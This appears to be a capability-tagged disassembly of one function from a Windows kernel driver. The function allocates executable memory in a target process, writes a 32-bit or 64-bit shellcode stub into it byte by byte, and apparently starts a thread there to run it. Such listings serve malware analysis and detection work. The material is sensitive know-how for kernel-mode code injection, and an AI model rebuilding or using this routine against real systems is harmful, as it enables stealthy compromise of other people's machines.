Function at 0x1400411e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xe0
mov rax, qword [0x14002a380]
xor rax, rsp
mov qword [rsp + 0xd8], rax
mov dword [rsp + 0x70], 0
mov qword [rsp + 0xc0], 0x1000
cmp qword [rsp + 0xf0], 0
jne 0x140041228
mov dword [rsp + 0x74], 1
jmp 0x140041230
mov dword [rsp + 0x74], 0
cmp dword [rsp + 0x74], 0
je 0x14004125e
xor r9d, r9d
mov r8d, 0x686
lea rdx, [0x140047100]
lea rcx, [0x140047ac0]
call qword [sym.imp.ntoskrnl.exe_RtlAssert]
mov dword [rsp + 0x7c], 0
jmp 0x140041266
mov dword [rsp + 0x7c], 1
cmp qword [rsp + 0xf0], 0
jne 0x14004127b
mov eax, 0xc000000d
jmp 0x140041652
mov rax, qword [rsp + 0xf0]
mov qword [rax + 8], 0
mov rax, qword [rsp + 0xf0]
add rax, 8
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x1000
lea r9, [rsp + 0xc0]
xor r8d, r8d
mov rdx, rax
mov rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
mov dword [rsp + 0x70], eax
cmp dword [rsp + 0x70], 0
jl 0x14004164e
mov rax, qword [rsp + 0xf0]
mov rax, qword [rax + 8]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0xf0]
mov rcx, qword [rax]
call qword [sym.imp.ntoskrnl.exe_PsGetProcessWow64Process]
test rax, rax
je 0x140041302
mov dword [rsp + 0x78], 1
jmp 0x14004130a
mov dword [rsp + 0x78], 0
movzx eax, byte [rsp + 0x78]
mov byte [rsp + 0x64], al
lea rdx, [0x1400474d0]
lea rcx, [rsp + 0xc8]
call fcn.140017250
movzx r8d, byte [rsp + 0x64]
lea rdx, [rsp + 0xc8]
mov rax, qword [rsp + 0xf0]
mov rcx, qword [rax]
call fcn.14003f140
xor r9d, r9d
mov rcx, qword [rsp + 0xf0]
mov r8, qword [rcx]
lea rdx, [0x140047ae0]
mov rcx, rax
call fcn.14003e9e0
mov qword [rsp + 0x88], rax
cmp qword [rsp + 0x88], 0
je 0x140041646
lea rax, [rsp + 0x90]
mov rdi, rax
xor eax, eax
mov ecx, 0x30
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x68]
add rax, 0x100
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x80]
mov qword [rax], 0xffffffffffff3cb0
mov dword [rsp + 0x60], 0
movzx eax, byte [rsp + 0x64]
test eax, eax
je 0x140041478
mov eax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov byte [rcx + rax], 0x68
mov eax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov edx, dword [rsp + 0x80]
mov dword [rcx + rax + 1], edx
mov eax, dword [rsp + 0x60]
add eax, 5
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
mov ecx, 0x16a
mov rdx, qword [rsp + 0x68]
mov word [rdx + rax], cx
mov eax, dword [rsp + 0x60]
add eax, 2
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov byte [rcx + rax], 0xb8
mov eax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov edx, dword [rsp + 0x88]
mov dword [rcx + rax + 1], edx
mov eax, dword [rsp + 0x60]
add eax, 5
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
mov ecx, 0xd0ff
mov rdx, qword [rsp + 0x68]
mov word [rdx + rax], cx
mov eax, dword [rsp + 0x60]
add eax, 2
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
mov ecx, 0xf0eb
mov rdx, qword [rsp + 0x68]
mov word [rdx + rax], cx
mov eax, dword [rsp + 0x60]
add eax, 2
mov dword [rsp + 0x60], eax
jmp 0x140041547
mov eax, dword [rsp + 0x60]
mov ecx, 0xb948
mov rdx, qword [rsp + 0x68]
mov word [rdx + rax], cx
mov eax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov qword [rcx + rax + 2], 1
mov eax, dword [rsp + 0x60]
add eax, 0xa
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
mov ecx, 0xba48
mov rdx, qword [rsp + 0x68]
mov word [rdx + rax], cx
mov eax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x80]
mov qword [rcx + rax + 2], rdx
mov eax, dword [rsp + 0x60]
add eax, 0xa
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
mov ecx, 0xb848
mov rdx, qword [rsp + 0x68]
mov word [rdx + rax], cx
mov eax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x88]
mov qword [rcx + rax + 2], rdx
mov eax, dword [rsp + 0x60]
add eax, 0xa
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
mov ecx, 0xd0ff
mov rdx, qword [rsp + 0x68]
mov word [rdx + rax], cx
mov eax, dword [rsp + 0x60]
add eax, 2
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
mov ecx, 0xdeeb
mov rdx, qword [rsp + 0x68]
mov word [rdx + rax], cx
mov eax, dword [rsp + 0x60]
add eax, 2
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x90], 0x30
mov qword [rsp + 0x98], 0
mov dword [rsp + 0xa8], 0x200
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xb8], 0
mov rax, qword [rsp + 0xf0]
add rax, 0x10
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0x100000
mov qword [rsp + 0x40], 0x1000
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rcx, qword [rsp + 0xf0]
mov rcx, qword [rcx + 8]
mov qword [rsp + 0x20], rcx
mov r9, 0xffffffffffffffff
lea r8, [rsp + 0x90]
mov edx, 0x1fffff
mov rcx, rax
call fcn.140017360
mov dword [rsp + 0x70], eax
cmp dword [rsp + 0x70], 0
jl 0x140041644
mov rax, qword [rsp + 0xf0]
add rax, 0x18
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov rax, qword [sym.imp.ntoskrnl.exe_PsThreadType]
mov r8, qword [rax]
mov edx, 0x1fffff
mov rax, qword [rsp + 0xf0]
mov rcx, qword [rax + 0x10]
call qword [sym.imp.ntoskrnl.exe_ObReferenceObjectByHandle]
jmp 0x14004164e
mov dword [rsp + 0x70], 0xc0000225
mov eax, dword [rsp + 0x70]
mov rcx, qword [rsp + 0xd8]
xor rcx, rsp
call fcn.140021990
add rsp, 0xe0
pop rdi
ret